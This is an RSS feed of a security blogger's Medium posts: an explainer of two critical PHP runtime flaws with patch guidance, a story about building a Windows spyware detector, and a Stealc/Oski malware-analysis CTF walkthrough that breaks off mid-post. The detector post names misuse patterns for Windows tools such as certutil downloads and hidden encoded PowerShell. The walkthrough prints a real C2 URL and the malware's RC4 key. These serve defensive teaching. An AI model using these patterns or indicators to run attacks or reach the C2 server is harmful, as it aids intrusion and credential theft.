<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhijeet Mahendrakar on Medium]]></title>
        <description><![CDATA[Stories by Abhijeet Mahendrakar on Medium]]></description>
        <link>https://medium.com/@gentlerfact40?source=rss-cecd8f1f1c5b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LHs357onoRdGmaCX5TBc9A.jpeg</url>
            <title>Stories by Abhijeet Mahendrakar on Medium</title>
            <link>https://medium.com/@gentlerfact40?source=rss-cecd8f1f1c5b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:30:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gentlerfact40/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP2Shell: The Critical PHP Vulnerabilities That Turned Ordinary Web Requests Into a Server-Side…]]></title>
            <link>https://medium.com/@gentlerfact40/php2shell-the-critical-php-vulnerabilities-that-turned-ordinary-web-requests-into-a-server-side-5c9008132252?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c9008132252</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[php2shell]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 16:26:52 GMT</pubDate>
            <atom:updated>2026-10-22T16:26:52.883Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*slX1gyVwHFdLB5si8aLsuA.png" /></figure><h3>PHP2Shell: The Critical PHP Vulnerabilities That Turned Ordinary Web Requests Into a Server-Side Threat</h3><p><em>How two memory-safety flaws exposed PHP-powered applications to unauthenticated remote code execution — and why defenders had only hours to respond.</em></p><h3>The Warning That Arrived Before the Headlines</h3><p>On October 17, 2026, an unusual request reached an Amazon threat-intelligence honeypot. The request appeared to be an attempt to exploit a vulnerability in PHP, one of the internet’s most widely deployed server-side programming languages.</p><p>At the time, the vulnerability had not been publicly disclosed.</p><p>Four days later, the security community learned about two critical PHP vulnerabilities now collectively known as <strong>PHP2Shell: CVE-2026–109618 and CVE-2026–109619</strong>.</p><p>Amazon Web Services (AWS) subsequently reported that it had identified the October 17 attempt through its MadPot honeypot telemetry. After the public disclosure on October 21, AWS observed additional exploit attempts and reported widespread exploitation activity in the wild. It cautioned, however, that the success of the earlier attempts against real-world systems remained uncertain. <a href="https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/">AWS Security Blog</a></p><p>This sequence illustrates an uncomfortable reality for security teams: attackers do not necessarily wait for a vulnerability advisory before attempting exploitation.</p><p>But what makes PHP2Shell so dangerous? The answer lies beneath the websites themselves — in the PHP runtime responsible for processing their requests.</p><h3>What Is PHP2Shell?</h3><p>PHP2Shell is the collective name for two critical vulnerabilities in PHP’s core execution engine. Both involve unsafe memory handling when request processing terminates abnormally.</p><p>Each vulnerability received a <strong>CVSS v4.0 score of 9.2</strong>, indicating critical security risk. Successful exploitation can allow an unauthenticated remote attacker to execute arbitrary code on a vulnerable server. The flaws may also expose sensitive data held in PHP process memory.</p><p>The distinction matters: these are not simply vulnerabilities in a WordPress plugin, Drupal module, or Joomla extension. The underlying PHP runtime is affected, making the risk broader than any one web application.</p><p>Researchers demonstrated successful remote code execution on systems running WordPress, Drupal, and Joomla. These platforms illustrate the potential impact, but an application-specific coding flaw is not required for exploitation. <a href="https://www.wiz.io/blog/php2shell-php-rce">Wiz Research</a></p><h3>How Does the Attack Work?</h3><p>Imagine a web server receiving an ordinary HTTP request. PHP begins processing it, allocates memory, handles request data, and prepares to return a response.</p><p>Now imagine the request pushes PHP into an exceptional error condition. Instead of leaving the runtime in a clean, predictable state, vulnerable code can leave behind invalid or stale memory references.</p><p>An attacker who can trigger that condition and carefully influence how memory is used afterward may turn a runtime error into a security breach.</p><p>At a high level, the attack chain looks like this:</p><p><strong>Crafted HTTP request → abnormal error handling → unsafe memory state → memory corruption or use-after-free → potential remote code execution.</strong></p><p>The two CVEs follow different paths.</p><h3>1. CVE-2026–109618: When PHP Runs Out of Memory</h3><p>PHP uses an out-of-memory (OOM) handling mechanism to interrupt normal execution when memory allocation fails. This process can involve longjmp(), which transfers control away from the current execution context.</p><p>The vulnerability occurs when certain internal request data has not been fully initialized before this interruption. Later, PHP’s request-cleanup logic may treat that invalid data as if it were valid.</p><p>The result is an unsafe memory-access condition that can be exploited to corrupt process memory and potentially execute code.</p><p>Crafted HTTP requests, including specially constructed multipart requests, can help trigger the vulnerable processing path.</p><h3>2. CVE-2026–109619: When Old Memory State Survives a Request</h3><p>The second vulnerability involves stale global state.</p><p>PHP maintains internal state while processing requests. Under certain fatal-error conditions, a global reference can continue pointing to request-owned memory even after that memory has been freed.</p><p>If a subsequent request handled by the same worker encounters and uses that stale reference before the state is correctly reinitialized, it can trigger a use-after-free condition.</p><p>With sufficient control over the affected memory, the attacker may be able to turn this condition into remote code execution.</p><p>One confirmed path involves PHP session upload-progress functionality, which is why the PHP team’s temporary mitigation guidance addresses that feature.</p><p>The technical distinction is important: one vulnerability involves unsafe handling of an out-of-memory interruption, while the other involves stale state after abnormal request termination. Both can undermine the runtime’s memory safety.</p><p><a href="https://www.php.net/archive/2026.php">Sources: Official PHP security advisory</a> | <a href="https://digital.nhs.uk/cyber-alerts/2026/cc-4875">NHS England Digital advisory</a></p><h3>When Did PHP2Shell Emerge?</h3><p>The events leading to public disclosure unfolded over several weeks.</p><ul><li><strong>August 19, 2026:</strong> Wiz Research discovered the first vulnerability with assistance from AI-powered research tools.</li><li><strong>August 20–21:</strong> Researchers confirmed unauthenticated remote code execution against Drupal and WordPress test environments.</li><li><strong>August 24:</strong> The vulnerabilities were reported to the PHP security team.</li><li><strong>September 21:</strong> PHP acknowledged the reports and began coordinating a fix.</li><li><strong>October 17:</strong> AWS later identified a PHP2Shell exploitation attempt against a honeypot, before public disclosure.</li><li><strong>October 20–21:</strong> Information about the vulnerabilities leaked, and PHP moved forward its security release.</li><li><strong>October 21:</strong> PHP published patched releases and the vulnerabilities were publicly disclosed. Additional exploitation attempts followed.</li></ul><p>The responsible-disclosure timeline comes from Wiz Research, while the pre-disclosure activity was documented by AWS. These observations do not establish that every attempt succeeded, but they demonstrate why the earliest known attack activity can matter more than the advisory publication date. <a href="https://www.wiz.io/blog/php2shell-php-rce">Wiz Research</a> | <a href="https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/">AWS threat-intelligence report</a></p><h3>Where Is the Risk?</h3><p>The affected component is PHP itself, so exposure is not limited to one CMS or web framework.</p><p>The PHP security team identified web-serving installations using configurations including:</p><ul><li>Apache with mod_php</li><li>PHP-FPM</li><li>php-cgi</li><li>FrankenPHP</li><li>LiteSpeed</li></ul><p>The PHP team considers mod_php particularly high-risk because a demonstrated attack can trigger the vulnerability before application-level code executes.</p><p>This matters because application-level authentication and authorization checks may never get the opportunity to protect the request. A vulnerable runtime can be exposed even when a website’s own code is otherwise well secured.</p><p>The risk can also extend beyond conventional websites. Devices, appliances, containers, management interfaces, and commercial products may include their own PHP runtimes. Organizations must therefore inspect embedded and bundled PHP components, rather than relying exclusively on their web application’s dependency inventory.</p><h3>Why Does PHP2Shell Matter So Much?</h3><p>There are three major reasons.</p><p><strong>First, the potential impact is severe.</strong> Successful remote code execution can give an attacker the privileges of the vulnerable PHP worker. Depending on those permissions and the environment, the attacker could alter website files, run unauthorized processes, steal application data, or establish persistence. Separately, access to PHP process memory could expose passwords, API tokens, and other secrets.</p><p><strong>Second, authentication is not a reliable barrier.</strong> The vulnerabilities can be triggered through network requests without requiring a legitimate account or user interaction. Application-level security controls cannot be assumed to stop every exploitation path.</p><p><strong>Third, the window between disclosure and exploitation can be extremely short.</strong> Researchers reported using AI-assisted techniques to analyze the vulnerable code paths and develop working exploits. This does not mean AI is required to exploit PHP2Shell. It means advanced analysis and exploit adaptation may require less time and specialist effort than defenders have historically expected. <a href="https://www.wiz.io/blog/php2shell-php-rce">Wiz Research</a></p><p>PHP’s emergency patches were therefore not routine maintenance. They addressed vulnerabilities that could potentially turn a publicly reachable PHP service into an entry point for server compromise.</p><h3>What Should Security Teams Do Now?</h3><p>As of October 22, 2026, the priority should be to identify exposure, patch affected runtimes, and investigate possible compromise.</p><p><strong>1. Update PHP immediately.</strong></p><p>The security releases are:</p><p>PHP branch Fixed version PHP 8.58.5.12 PHP 8.48.4.27 PHP 8.38.3.36 PHP 8.28.2.35</p><p>PHP 8.1 and older are no longer maintained by the PHP project. Organizations using these branches should check whether their Linux distribution or long-term-support vendor supplies a backported security fix, and plan to move to a supported version.</p><p><strong>2. Inventory all internet-facing PHP services.</strong></p><p>Check web servers, containers, cloud workloads, third-party appliances, and embedded runtimes. Confirm the actual PHP version handling requests, not merely the version installed on an administrator’s workstation.</p><p><strong>3. Apply temporary exposure-reduction measures if patching is delayed.</strong></p><p>Follow the official PHP advisory for configuration-specific mitigations. These include disabling session.upload_progress where appropriate, restricting request and multipart-upload sizes, and restarting affected workers when required. A web application firewall can provide an additional protective layer.</p><p>These measures do <strong>not</strong> constitute a complete fix. PHP’s security team identifies updating to a fixed release as the safe remediation.</p><p><strong>4. Investigate activity dating back to October 17.</strong></p><p>Review web-server and application logs for suspicious POST requests, unexpected upload-related activity, PHP worker crashes, unusual child processes, unexpected file modifications, and unexplained outbound connections. Where available, correlate web logs with endpoint and cloud telemetry.</p><p>The October 17 date is a useful minimum starting point for an investigation because of the activity AWS reported. It does not prove that a particular system was targeted or compromised.</p><p>Official guidance: <a href="https://www.php.net/archive/2026.php">PHP security advisory</a> | <a href="https://www.cyber.gc.ca/en/alerts-advisories/al26-026-critical-vulnerabilities-impacting-php-cve-2026-109618-cve-2026-109619">Canadian Centre for Cyber Security</a></p><h3>Conclusion: Patch the Runtime, Not Just the Website</h3><p>PHP2Shell is a reminder that application security does not begin and end with plugins, frameworks, or application code. The language runtime underneath them is part of the attack surface too.</p><p>A request that appears ordinary at the network layer can take advantage of a deeper memory-safety failure. Once that failure is exploitable, the impact can extend well beyond the original HTTP request.</p><p>The lesson for defenders is straightforward: maintain visibility into the software that actually runs production services, prioritize critical patches according to exposure and exploit activity, and investigate credible signs of exploitation rather than assuming that a patched system was never compromised.</p><p><strong>The most important action is to update every affected PHP runtime — and then verify that no attacker gained access before the fix was applied.</strong></p><p>#php2shell #cybersecurity #recentthreats #php #aws #cve #blueteam</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c9008132252" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SPY-D: The Silent Watcher That Watches the Watchers]]></title>
            <link>https://medium.com/@gentlerfact40/spy-d-the-silent-watcher-that-watches-the-watchers-d3dd3029c4d1?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3dd3029c4d1</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[storytelling]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Sun, 05 Jul 2026 16:32:07 GMT</pubDate>
            <atom:updated>2026-07-05T16:32:07.479Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/542/0*-uDW1FL20O3YDkR-" /></figure><p>A story about building a spyware detector — and the ghost it found on my own machine</p><h3>Prologue: The Question That Started Everything</h3><p>It was 11:47 PM on a Tuesday when I first asked myself the question that would consume the next several weeks of my life.</p><p>I was reading a post-mortem on a corporate data breach — one of those long, detailed incident reports that security teams publish after everything has already gone wrong. The attackers had been inside the network for 47 days before anyone noticed. They used no exotic malware. No zero-days. No sophisticated custom implants.</p><p>They used certutil.exe. A tool that ships with every copy of Windows.</p><p>I closed my laptop and stared at the ceiling.</p><p><em>If an attacker can hide inside legitimate Windows tools for 47 days on a network with a security team — what is hiding on a machine with just one person and no security tooling at all?</em></p><p>I did not sleep particularly well that night.</p><h3>Part One: The Idea</h3><p>I am not a veteran security researcher. I am someone studying for SOC analyst roles, building a portfolio, learning by doing. But I know enough to understand that the gap between “knowing something is dangerous” and “being able to detect it” is where most real-world attacks live.</p><p>Keyloggers, spyware, credential stealers — these are not theoretical threats. They are the tools that end careers, drain bank accounts, and compromise organisations. And the most dangerous variants today do not even write files to disk. They live inside legitimate processes. They speak through legitimate channels. They look like normal Windows behaviour until the moment they are not.</p><p>I decided I wanted to build something that could see them.</p><p>I called it <strong>SPY-D</strong> — Spyware Detector. Not a catchy name for a product. A working name for a tool I was building for myself, because I wanted to understand the problem deeply enough to write the solution.</p><h3>Part Two: Understanding the Enemy</h3><p>Before writing a single line of code, I spent two weeks reading.</p><p>I read the MITRE ATT&amp;CK framework until I could recite technique IDs in my sleep. T1056.001 — Input Capture: Keylogging. T1547.001 — Boot AutoStart: Registry Run Keys. T1059.001 — Command and Scripting Interpreter: PowerShell. T1546.003 — Event Triggered Execution: Windows Management Instrumentation.</p><p>What emerged from that reading was a picture I had not fully appreciated before.</p><p>Modern spyware does not announce itself. It does not drop an evil_keylogger.exe into your C:\Windows\System32 folder and call it a day. Modern spyware is patient. It arrives through a phishing email attachment. It runs a macro inside Microsoft Word. That macro opens PowerShell — not suspicious by itself, Word does this sometimes. But this PowerShell has a flag called -EncodedCommand followed by a long string of Base64 text.</p><p>Decoded, that string contains two words that should never appear in a PowerShell command: GetAsyncKeyState.</p><p>That is a Windows API function. Its job is to check whether a key is being pressed at any given moment. It has legitimate uses. It also happens to be the single most commonly abused function in keylogger development.</p><p>By the time the attacker’s PowerShell process is running, no malicious file has touched the disk. The attack is entirely fileless. Traditional antivirus, which scans files, sees nothing. The attacker is already capturing every keystroke.</p><p>I had my enemy. Now I needed to build my detector.</p><h3>Part Three: Building SPY-D</h3><p>The architecture came together in pieces, each one solving a specific part of the detection problem.</p><p><strong>The first layer</strong> was the simplest. Every running process has a name, a path, and a command line. I built a process scanner that reads all three, compares them against 47 known-bad process name signatures, flags anything running from a temporary directory, measures CPU and memory usage against thresholds, and checks whether the executable actually exists on disk. That last check alone is surprisingly powerful — a surprisingly common persistence technique involves pointing registry entries at executables that have since been deleted, leaving ghost entries that some tools will still try to run.</p><p><strong>The second and third layers</strong> covered the ground that most defenders know about but often overlook: the Windows Registry and Startup folders. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run is not a secret. Every attacker knows it. Most defenders know it too. But knowing about it and consistently monitoring it are different things.</p><p><strong>The fourth layer</strong> was the one that surprised me most when I researched it. WMI EventFilter subscriptions — Windows Management Instrumentation event-based triggers — are one of the most powerful and least visible persistence mechanisms in Windows. An attacker who creates a WMI subscription can arrange for a command to run every time the system boots, every time a user logs in, every time a specific application launches — all without creating a file, without touching the registry Run keys, without any footprint that a standard persistence check would find. When I queried my own test machine’s WMI subscriptions, I found two entries I did not recognise. They turned out to be benign — created by a legitimate monitoring application I had forgotten about. But for a moment, my heart rate went up.</p><p><strong>The fifth layer</strong> added hash-based reputation checking: SHA-256 every flagged executable, compare against a local database of known-bad hashes, and optionally query the VirusTotal API for cloud-based reputation. This is table stakes for any detection tool, but the implementation detail I found interesting was the rate-limit handling — VirusTotal’s free tier allows four requests per minute, and a naive implementation that hits that limit will simply fail silently and miss detections. SPY-D handles a 429 response with automatic exponential backoff and a single retry.</p><p><strong>The sixth layer</strong> was the one that took the longest to build and taught me the most: fileless and Living-off-the-Land detection.</p><h3>Part Four: The Problem of the Tools That Are Already There</h3><p>Living-off-the-Land is a phrase borrowed from military and survival contexts. The idea, applied to cyber attacks, is this: instead of bringing your own weapons, use the weapons that are already there.</p><p>Windows ships with dozens of legitimate administrative tools that can, in the hands of an attacker, do exactly what purpose-built malware does.</p><p>certutil.exe can download files from the internet. bitsadmin.exe can schedule file transfers. mshta.exe can execute remote HTML applications. regsvr32.exe can load and execute arbitrary DLLs. wmic.exe can create processes, query system information, and enumerate running services. msbuild.exe can compile and execute arbitrary C# code. powershell.exe can do essentially anything.</p><p>None of these tools are malicious. Windows needs them. System administrators use them daily. But they are also the toolkit of choice for attackers who want to blend in, because flagging them would generate enormous numbers of false positives on any network.</p><p>The solution is not to flag the tools themselves. The solution is to flag the <em>way they are being used</em>.</p><p>SPY-D’s LotL detection module covers 22 of these tools — known in the security community as LOLBins, Living-off-the-Land Binaries. For each one, I wrote a regular expression that captures the argument patterns associated with malicious use rather than legitimate use. certutil.exe flagged if called with -urlcache -f http:// — that is a download, not a certificate operation. powershell.exe flagged if called with -EncodedCommand and -WindowStyle Hidden together — that is concealment, not administration. mshta.exe flagged if its argument is a remote URL — that is remote code execution, not local application launching.</p><p>Eight detection sub-layers run in sequence for the LotL module: live process command lines, PowerShell Script Block logging (Event ID 4104, which records every PowerShell script that executes on the system), Windows Security and System event logs, the AMSI telemetry channel from Windows Defender, WMI subscription enumeration, process chain analysis, an embedded payload decoder, and network correlation.</p><p>The payload decoder deserves its own mention. When PowerShell is called with -EncodedCommand, the argument that follows is a Base64-encoded string. The encoding is UTF-16-LE — PowerShell&#39;s internal string format — which means a naive Base64 decoder will produce garbage output. SPY-D decodes it correctly by trying UTF-16-LE first, then falling back to UTF-8 and latin-1. The decoded string is then re-scanned for keylogger API function names: GetAsyncKeyState, SetWindowsHookEx, GetClipboardData. If any of those appear in a decoded payload, the alert severity escalates to CRITICAL immediately.</p><h3>Part Five: The Bug That Humbled Me</h3><p>I will be honest about something.</p><p>The first version of SPY-D had bugs. Three of them, caught by the test suite before the tool ever ran against a real machine.</p><p>The most instructive one involved the process chain analyser. The idea was to build a map of running processes and their parent processes, then flag unexpected relationships — specifically, the pattern of a Microsoft Word process spawning a PowerShell process, which is the classic signature of a malicious macro delivery.</p><p>The first implementation called psutil.process_iter() twice: once to build the process ID to name map, and once to evaluate the chain relationships. The problem is that processes can terminate between the two calls. A process present in the first pass might be gone by the second pass, leaving an orphaned entry in the map. In testing, this caused explorer.exe → powershell.exe to fire as a false positive — a completely legitimate chain that should never generate an alert.</p><p>The fix was a single-pass snapshot: build the entire process tree from one call, freeze it into a dictionary, and evaluate everything against the frozen snapshot. The process tree cannot change mid-evaluation because you are no longer querying the live system.</p><p>This is a small thing. But it is the kind of small thing that, in a real detection tool running on a real machine, is the difference between a useful alert and alert fatigue that causes analysts to start ignoring the tool entirely.</p><p>False positives are not just annoying. In security tooling, they are a form of failure.</p><h3>Part Six: The Numbers</h3><p>When SPY-D was complete, I ran the numbers.</p><p><strong>12 Python modules.</strong> Each responsible for one detection layer, loosely coupled, independently testable.</p><p><strong>3,037 lines of code.</strong> Not a large codebase by any measure, but every line written with a specific detection purpose.</p><p><strong>22 LOLBins</strong> covered with argument-level signatures. Each mapped to at least one MITRE ATT&amp;CK technique ID, so every alert points directly to the documented adversary behaviour it represents.</p><p><strong>13 process chain rules</strong> across two rule types. The distinction between “safe parent” rules (fire when the parent is unexpected) and “threat source” rules (fire when the parent is a known threat origin, like an Office application) turned out to be essential for eliminating false positives while preserving true positive detection.</p><p><strong>82 unit tests, zero failures.</strong> Every module, every edge case, every bug fix — tested with synthetic mock data that requires no live system access, no administrator privileges, no real malware.</p><h3>Part Seven: What SPY-D Found</h3><p>After several weeks of development, I ran SPY-D against my own development machine.</p><p>Two medium-severity alerts.</p><p>One was a registry Run key entry pointing to an executable in my AppData folder from a development tool I had uninstalled three months ago. The executable no longer existed. The registry entry did. Ghost persistence — exactly the pattern I had built the tool to find.</p><p>The other was a WMI subscription created by a network monitoring application I had installed and mostly forgotten about. Completely legitimate. But SPY-D had no way to know that without context, and flagging it was the right call. Unknown WMI subscriptions should always be investigated.</p><p>Nothing catastrophic. No active keylogger, no active credential stealer. But the registry entry had been sitting there for three months without my knowledge, pointing to a path that no longer existed. If that path had instead pointed to something malicious — something that had since cleaned up the original installer but left the persistence entry — I would not have known.</p><p>SPY-D knew.</p><h3>Epilogue: Why This Matters</h3><p>I want to be clear about what SPY-D is and what it is not.</p><p>It is not a commercial EDR product. It is not a replacement for CrowdStrike or SentinelOne or Microsoft Defender for Endpoint. It does not have a machine learning model trained on millions of samples. It does not have a threat intelligence team updating its signatures daily.</p><p>What it is: a transparent, auditable, open-source detection tool that any security student, practitioner, or researcher can read, understand, modify, and deploy. Every detection rule is visible. Every alert explains exactly why it fired. Every false positive can be understood and corrected.</p><p>The security community needs more of this. Not to replace commercial tools, but to educate. To demystify. To show that detection is not magic — it is pattern matching, signal aggregation, and careful engineering applied to a problem worth solving.</p><p>If you are studying for SOC analyst roles, if you are building a security portfolio, if you are trying to understand how defenders actually think — build something real. Pick a threat. Understand it deeply. Write the detector.</p><p>The process of building SPY-D taught me more about Windows internals, process telemetry, event logging, and adversary behaviour than any certification study guide has managed to.</p><p>And it found a ghost in my registry. That is worth something.</p><p><em>SPY-D (Flow-to-Flow) is open source. The full source code, README, test suite, and documentation are available on GitHub. Install with </em><em>pip install psutil requests, run with </em><em>python main.py --scan.</em></p><p><em>If you are working on defensive security tooling or want to discuss the detection logic — reach out. This kind of work is better when it is shared.</em></p><p><strong>Tags:</strong> Cybersecurity, Python, Malware Analysis, Blue Team, Windows Security, Endpoint Detection, Open Source, SOC, Threat Detection, Security Research</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3dd3029c4d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Oski/Stealc: A Malware Analysis Walkthrough]]></title>
            <link>https://medium.com/@gentlerfact40/oski-stealc-a-malware-analysis-walkthrough-70b8b731cac5?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/70b8b731cac5</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Fri, 29 May 2026 17:33:25 GMT</pubDate>
            <atom:updated>2026-05-29T18:02:21.894Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*ivVyOXWf6aDsm6MJiMreMg.jpeg" /></figure><p>From a Suspicious Email to Full Threat Intelligence — Step by Step</p><p>When a suspicious email lands in an inbox with an “urgent” attachment, most users either panic-click or ignore it entirely. For a security analyst, it’s an invitation to dig in. This walkthrough covers a hands-on malware analysis lab centered around a file tied to the <strong>Stealc/Oski malware family</strong> — a credential-stealing infostealer that’s been making the rounds since 2022.</p><p>We’ll work through seven key questions, using tools like <strong>VirusTotal</strong> and <strong>Any.Run</strong> to extract meaningful threat intelligence from a piece of malware that’s deceptively simple but surprisingly effective at doing damage before disappearing without a trace.</p><h3>A Little Background on Stealc/Oski</h3><p>Stealc is an infostealer — its job is simple: get in, grab credentials and sensitive data, phone home, and vanish. It borrows heavily from older stealer families like Vidar and Raccoon, targeting browser password stores, cookies, crypto wallets, and more. It’s sold as Malware-as-a-Service (MaaS) on underground forums, which means attribution can be tricky. What makes it interesting to analyze is its use of encryption, dynamic library loading, and self-deletion — all designed to frustrate incident responders.</p><p>Let’s get into it.</p><p>Lab Link: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/oski/">Blue team CTF Challenges | Oski</a></p><h4>Scenario</h4><p>The accountant at the company received an email titled “Urgent New Order” from a client late in the afternoon. When he attempted to access the attached invoice, he discovered it contained false order information. Subsequently, the SIEM solution generated an alert regarding downloading a potentially malicious file. Upon initial investigation, it was found that the PPT file might be responsible for this download. Could you please conduct a detailed examination of this file?</p><h4>Questions</h4><h4>Q1 — Determining the creation time of the malware can provide insights into its origin. What was the time of malware creation?</h4><p><strong>Answer: September 28, 2022, at 17:40:46 UTC</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6tn_mmCI6INOobJhALjVLQ.png" /></figure><p>The PE (Portable Executable) timestamp embedded in a compiled binary tells us when it was built. This is one of the first things you pull on VirusTotal — head to the <strong>Details</strong> tab and look at the compilation timestamp.</p><p>Now, it’s worth noting that PE timestamps <em>can</em> be forged. Threat actors sometimes tamper with them to mislead analysts. But in this case, the timestamp aligns with known Stealc activity timelines from late 2022, giving it credibility.</p><p>Why does this matter? Knowing when a sample was compiled helps you:</p><ul><li><strong>Correlate it with threat campaigns</strong> active at that time</li><li><strong>Estimate how long it evaded detection</strong> before being flagged</li><li><strong>Build a timeline</strong> for your incident response report</li></ul><p>A sample compiled in late 2022 and only caught months later is a red flag for detection gaps.</p><h4>Q2 — Identifying the command and control (C2) server that the malware communicates with can help trace back to the attacker. Which C2 server does the malware in the PPT file communicate with?</h4><p><strong>Answer: </strong><a href="http://171.22.28.221/5c06c05b7b34e8e6.php"><strong>http://171.22.28.221/5c06c05b7b34e8e6.php</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6pfHcYCz3H4qMuQu6rzIXg.png" /></figure><p>Command and Control (C2) infrastructure is the backbone of any active malware operation. Once the malware infects a system, it needs to call home — to receive instructions, deliver stolen data, or pull down additional payloads.</p><p>In the Any.Run sandbox report, you can observe the network traffic generated during execution. The IP <strong>171.22.28.221</strong> shows up consistently in memory patterns and network connections, with requests to paths ending in .php and .exe — classic infostealer behavior.</p><p>The .php endpoints are typically the data collection panels where stolen credentials get posted. The .exe paths suggest the malware may also be pulling secondary payloads.</p><p><strong>Immediate defensive action:</strong> Block this IP at the perimeter firewall and add it to your threat intel platform. Any internal host communicating with this address after the fact is almost certainly compromised.</p><h4>Q3 — Identifying the initial actions of the malware post-infection can provide insights into its primary objectives. What is the first library that the malware requests post-infection?</h4><p><strong>Answer: sqlite3.dll</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkuwrITd7VRehqBSpg0xSg.png" /></figure><p>This one is telling. Right after infection, before the malware does much else, it reaches for <strong>sqlite3.dll</strong> — a library for interacting with SQLite databases.</p><p>Why SQLite? Because that’s where browsers store your passwords.</p><p>Chrome, Edge, Firefox, Brave — they all use SQLite databases to store saved login credentials locally on disk. By loading sqlite3.dll, Stealc is announcing its primary objective loud and clear: <strong>it’s going after your browser password stores.</strong></p><p>From an analysis perspective, watching which DLLs a malware sample loads first (via process monitoring or sandbox reports) gives you a fast read on its intent. sqlite3.dll = credential theft. No further context needed.</p><h4>Q4 — By examining the provided <a href="https://any.run/report/a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb/d55e2294-5377-4a45-b393-f5a8b20f7d44">Any.run report</a>, what RC4 key is used by the malware to decrypt its base64-encoded string?</h4><p><strong>Answer: 5329514621441247975720749009</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ks7HF0SFQUhetxZqQ6cswA.png" /></figure><p>Stealc obfuscates its strings using <strong>RC4 encryption</strong> combined with <strong>Base64 encoding</strong>. This is a common anti-analysis trick — strings like C2 URLs, file paths, and configuration data are encrypted so they don’t show up plainly in static analysis.</p><p>RC4 is a symmetric stream cipher, meaning the same key encrypts and decrypts. The malware carries the key hardcoded in its binary, and the Any.Run report exposes it through its config extraction capability.</p><p>Once you have this key — 5329514621441247975720749009 — you can use it to manually decrypt other Base64-encoded strings in the sample, effectively <strong>reverse-engineering the malware&#39;s configuration</strong> without needing to run it.</p><p>This is gold for threat intelligence. It lets you:</p><ul><li>Identify all hardcoded C2 addresses</li><li>Decode file paths and commands</li><li>Extract the full operational picture of the sample</li></ul><h4>Q5 — By examining the MITRE ATT&amp;CK techniques displayed in the <a href="https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44">Any.run sandbox report</a>, identify the main MITRE technique (not sub-techniques) the malware uses to steal the user’s password.</h4><p><strong>Answer: T1555 — Credentials from Password Stores</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IkGAGonpzMXBFD1uUFczOA.png" /></figure><p>The MITRE ATT&amp;CK framework gives us a standardized vocabulary to describe what an adversary is doing. In this case, the technique is <strong>T1555</strong>, which covers adversaries going after common password storage locations.</p><p>For Stealc, this means:</p><ul><li>Browser-saved passwords (Chrome, Firefox, Edge)</li><li>Browser cookies and autofill data</li><li>Potentially crypto wallet files</li></ul><p>This technique is one of the most impactful in the infostealer playbook because users have <em>years</em> of saved credentials in their browsers — banking sites, corporate SSO portals, email accounts — all ripe for harvest.</p><p><strong>Defensive mitigations for T1555:</strong></p><ul><li>Use a dedicated password manager instead of browser-based storage</li><li>Enable endpoint detection rules for suspicious reads of browser credential databases</li><li>Deploy EDR solutions that alert on anomalous sqlite3.dll usage</li></ul><h4>Q6 — By examining the child processes displayed in the <a href="https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44">Any.run sandbox report</a>, which directory does the malware target for the deletion of all <strong>DLL</strong> files?</h4><p><strong><em>Answer: C:\ProgramData*</em></strong></p><figure><img 